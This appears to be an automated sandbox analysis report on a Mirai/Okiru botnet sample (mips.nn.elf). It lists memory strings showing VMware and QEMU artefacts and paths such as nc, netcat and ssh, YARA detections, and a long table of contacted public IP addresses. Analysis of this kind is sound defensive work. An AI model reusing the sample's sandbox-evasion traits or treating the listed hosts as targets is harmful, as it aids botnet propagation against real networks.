Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/dbus-send!/usr/bin/toe1/usr/bin/qemu-aarch64s10!/usr/bin/pdfseparate!/usr/bin/nc1/usr/bin/mmcli/mips/s10!/usr/bin/bwrap0!/usr/bin/hp-plugin1/usr/bin/podcheckers/s10!/usr/bin/kbxutil!/usr/bin/xrdb1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmware-vgauth-cmd
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/xhost0!/usr/bin/mutter1/usr/bin/monodocs2slashdoc0!/usr/bin/paperconf!/usr/bin/cli-al1/usr/bin/bdftruncate/10!/usr/bin/mt01/usr/bin/qemu-aarch64_be1/usr/bin/xdg-user-dirs-update
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmware-vmblock-fuse
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/usr/bin/qemu-cris1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-x86_64
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/10 /usr/bin/perldoc!/usr/bin/vmhgfs-fuse1/usr/bin/thunar-settings
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/usr/bin/qemu-alpha
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/stty0!/run/vmware
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/ping60!/usr/bin/sg_write_long1/usr/bin/mate-calcps/s10!/usr/bin/qemu-s390x!/usr/bin/ionice1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/cert-sync!/usr/bin/qemu-riscv321/usr/bin/byobu-select-profile0!/usr/bin/catman0!/usr/bin/jsondiff1/usr/bin/qemu-mips64els10!/usr/bin/link0!/usr/bin/man-recode1/usr/bin/select-editors10!/usr/bin/printafm!/usr/bin/pycompile1/usr/bin/ntfsfallocates10!/usr/bin/psfxtable!/usr/bin/factor1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-riscv64
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-armeb
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmware-rpctool
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /run/vmware
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmhgfs-fuse
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/mktemp0!/usr/bin/qemu-xtensa1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10!/usr/bin/qemu-mips!/usr/bin/pax11publish1/usr/bin/bzip2/mips/s10!/usr/bin/xbiff0!/usr/bin/ucs2any1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/10 /usr/bin/tificc0!/usr/bin/al21/usr/bin/vmware-vgauth-smoketest
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /dev/vmci
Source: mips.nn.elf, 5433.1.00007ffdbdb7b000.00007ffdbdb9c000.rw-.sdmp Binary or memory string: /tmp/qemu-open.zlEnOZ
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/us1/usr/bin/ruby/mips/0!/usr/bin/fwupdagent!/usr/bin/lzgrep/mips/us1/usr/bin/xfce4-panel-profiles0!/usr/bin/readlink!/usr/bin/lprU/mips/us1/usr/bin/linux-update-symlinks0!/usr/bin/splitfont!/usr/bin/isoinfomips/us1/usr/bin/dbus-cleanup-sockets0!/usr/bin/umount!/usr/bin/sudoreplays/us1/usr/bin/qemu-ppc64abi320!/usr/bin/setlogcons!/usr/bin/xz
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-i386
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/gsnd0!/usr/bin/fc-validate1/usr/bin/mdig/mips/s10!/usr/bin/ssh01/usr/bin/btrfs-find-root1/usr/bin/objcopymips/s10!/usr/bin/sdptool!/usr/bin/startx1/usr/bin/x86_64-linux-gnu-cpp-90!/usr/bin/qemu-sh4!/usr/bin/codepage1/usr/bin/Thunar/mips/s10!/usr/bin/pstree0!/usr/bin/ss1@v!
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /tmp/vmware-root_727-4290690966
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-or1k
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmwarectrl
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/pod2usage!/usr/bin/gprof1/usr/bin/qemu-xtensaebs10!/usr/bin/dirmngr-client!/usr/bin/rlogin1/usr/bin/min12xxwips/s10!/usr/bin/fwupdate!/usr/bin/lsusb1/usr/bin/dtd2rngmips/s10!/usr/bin/Xorg0!/usr/bin/lzless1@
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/ntfstruncate!/var/run/acpid.socket1/usr/bin/grub-fstest/10!/usr/bin/pdf2ps0!/var/run/vmware1/usr/bin/ssh-import-id-gh
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U!/usr/bin/vmtoolsd
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: P /usr/bin/qemu-alpha
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmware-namespace-cmd
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: P /usr/bin/qemu-sh4eb
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/pyjwt30!/usr/bin/qemu-x86_64U1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc64
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /mips/usr/bin/vmwarectrl
Source: mips.nn.elf, 5433.1.00007ffdbdb7b000.00007ffdbdb9c000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/mips.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.nn.elf
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-xtensaeb
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/proc/3246/exe!/proc/3429/exet/mips/pr!/run/snapd.socketips/tm1/usr/bin/qemu-microblaze
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-xtensa
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/10 /usr/bin/netcat01/usr/bin/xfce4-settings-editor`!/usr/bin/unlzma1/usr/bin/qemu-ppc64s/s10!/usr/bin/nstat0!/usr/bin/jjs1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: P /usr/bin/qemu-cris
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp, mips.nn.elf, 5433.1.00007ffdbdb7b000.00007ffdbdb9c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-tilegx
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/uuidgen1/usr/bin/byobu-keybindings0!/usr/bin/GET0!/usr/bin/znew1/usr/bin/qemu-or1kps/s10!/usr/bin/openvt0!/usr/bin/lspgpot1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/nisdomainname!/usr/bin/apt1/usr/bin/tabs/mips/s10!/usr/bin/qemu-i386!/usr/bin/mkisofs1/usr/bin/grep/mips/s10!/usr/bin/rygel0!/usr/bin/qemu-m68k1/usr/bin/system-config-printer-applet!/usr/bin/hp-check1/usr/bin/md5sum.textutils1/usr/bin/aa-execmips/s10!/usr/bin/vdir0!/usr/bin/phar7.41
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-aarch64_be
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsn32el

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 5433.1.00007fa4d0400000.00007fa4d0420000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 5433.1.00007fa4d0400000.00007fa4d0420000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 5433, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 5433.1.00007fa4d0400000.00007fa4d0420000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 5433.1.00007fa4d0400000.00007fa4d0420000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 5433, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
114.171.214.248
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
123.238.41.160
 unknown India
18101 RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKC false
46.235.136.66
 unknown Italy
197589 ALFANEWSIT false
162.16.207.15
 unknown United States
35893 ACPCA false
25.95.13.157
 unknown United Kingdom
7922 COMCAST-7922US false
79.230.205.174
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
106.171.143.33
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
92.103.218.129
 unknown France
12670 AS-COMPLETELFR false
131.47.77.23
 unknown United States
409 AFCONC-BLOCK1-ASUS false
176.158.31.11
 unknown France
5410 BOUYGTEL-ISPFR false
16.92.248.169
 unknown United States
unknown unknown false
187.205.15.107
 unknown Mexico
8151 UninetSAdeCVMX false
73.158.5.250
 unknown United States
7922 COMCAST-7922US false
124.46.93.136
 unknown Korea Republic of
4668 LGNET-AS-KRLGCNSKR false
207.73.92.61
 unknown United States
237 MERIT-AS-14US false
193.0.152.73
 unknown Russian Federation
198758 ASTELEKRU false
158.22.228.197
 unknown United States
1504 DNIC-AS-01504US false
185.204.137.224
 unknown Ireland
199256 LTH-ASIE false
212.138.90.110
 unknown Saudi Arabia
8895 ISUInternetServicesUnitISUSA false
38.116.126.9
 unknown United States
174 COGENT-174US false
89.234.28.7
 unknown United Kingdom
15395 RACKSPACE-LONGB false
175.235.81.175
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
198.185.241.102
 unknown United States
394612 UPMC-PHSUS false
40.4.203.143
 unknown United States
4249 LILLY-ASUS false
173.255.36.239
 unknown United States
1970 TAMUS-NETUS false
85.71.211.239
 unknown Czech Republic
5610 O2-CZECH-REPUBLICCZ false
179.225.107.21
 unknown Brazil
26599 TELEFONICABRASILSABR false
21.127.118.106
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
134.49.149.213
 unknown United States
23138 FIRST-STEPUS false
194.89.26.187
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
37.0.114.158
 unknown Germany
10780 PURE-STORAGEUS false
148.221.95.25
 unknown Mexico
8151 UninetSAdeCVMX false
100.61.74.33
 unknown United States
701 UUNETUS false
142.188.170.28
 unknown Canada
577 BACOMCA false
207.194.51.58
 unknown Canada
852 ASN852CA false
38.177.215.166
 unknown United States
174 COGENT-174US false
57.41.27.141
 unknown Belgium
2686 ATGS-MMD-ASUS false
197.89.53.21
 unknown South Africa
10474 OPTINETZA false
158.20.103.146
 unknown United States
1482 DNIC-AS-01482US false
60.239.176.88
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
88.119.98.42
 unknown Lithuania
8764 TELIA-LIETUVALT false
79.133.33.157
 unknown Germany
203833 AT-FIRSTCOLOAustriaAT false
81.186.24.135
 unknown Greece
8248 GR-EDUNETGR false
215.177.131.37
 unknown United States
721 DNIC-ASBLK-00721-00726US false
144.90.147.91
 unknown United States
6652 PIMA-COLLEGEUS false
92.221.125.208
 unknown Norway
29695 ALTIBOX_ASNorwayNO false
122.3.67.242
 unknown Philippines
9299 IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH false
82.190.169.163
 unknown Italy
3269 ASN-IBSNAZIT false
36.220.67.2
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
180.219.174.220
 unknown Hong Kong
17924 SMARTONE-MB-AS-APSmarToneMobileCommunicationsLtdHK false
129.76.65.112
 unknown United States
2902 WN-WY-ASUS false
173.104.161.185
 unknown United States
1239 SPRINTLINKUS false
12.244.58.105
 unknown United States
7018 ATT-INTERNET4US false
178.135.97.139
 unknown Lebanon
42003 OGERONETOGEROTelecomLB false
215.3.75.75
 unknown United States
721 DNIC-ASBLK-00721-00726US false
65.185.252.214
 unknown United States
16787 CHARTER-16787-DCUS false
46.62.214.21
 unknown Iran (ISLAMIC Republic Of)
16322 PARSONLINETehran-IRANIR false
22.240.106.198
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
12.12.27.70
 unknown United States
32328 ALASCOM-IP-MANAGED-NETWORKUS false
186.116.34.231
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
158.211.143.99
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
12.138.17.22
 unknown United States
7018 ATT-INTERNET4US false
89.110.32.213
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
119.250.63.90
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
186.52.142.205
 unknown Uruguay
6057 AdministracionNacionaldeTelecomunicacionesUY false
222.90.52.105
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
221.141.199.204
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
192.47.235.205
 unknown Japan 5501 FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe false
193.42.34.225
 unknown Germany
3221 EENET-ASEE false
46.196.44.254
 unknown Turkey
47524 TURKSAT-ASTR false
37.151.174.83
 unknown Kazakhstan
9198 KAZTELECOM-ASKZ false
155.145.125.114
 unknown United Kingdom
1221 ASN-TELSTRATelstraCorporationLtdAU false
49.252.15.30
 unknown Japan 37903 EMOBILEYmobileCorporationJP false
99.29.22.148
 unknown United States
7018 ATT-INTERNET4US false
141.132.77.8
 unknown Australia
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
186.216.174.221
 unknown Brazil
262753 VOCETELECOMUNICACOESLTDABR false
153.242.20.149
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
182.96.202.150
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
209.50.30.196
 unknown United States
15108 ALLO-COMMUS false
93.37.49.195
 unknown Italy
12874 FASTWEBIT false
215.235.57.72
 unknown United States
721 DNIC-ASBLK-00721-00726US false
132.15.117.214
 unknown United States
409 AFCONC-BLOCK1-ASUS false
165.95.81.150
 unknown United States
1970 TAMUS-NETUS false
202.145.152.143
 unknown Taiwan; Republic of China (ROC)
9924 TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi false
44.194.239.200
 unknown United States
14618 AMAZON-AESUS false
203.42.234.208
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
202.212.151.129
 unknown Japan 2514 INFOSPHERENTTPCCommunicationsIncJP false
52.151.73.99
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
144.26.145.231
 unknown United States
29848 WCUUS false
1.235.239.80
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
81.235.23.99
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
198.109.38.100
 unknown United States
237 MERIT-AS-14US false
125.148.154.29
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
215.179.148.91
 unknown United States
721 DNIC-ASBLK-00721-00726US false
8.45.209.183
 unknown United States
30453 PATRICK-SOLUTIONS-INCUS false
38.98.109.142
 unknown United States
18698 IAC-NYC-AS01US false
20.181.7.34
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
171.93.229.84
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
204.208.92.154
 unknown United States
5972 DNIC-ASBLK-05800-06055US false
11.120.224.250
 unknown United States
27651 ENTELCHILESACL false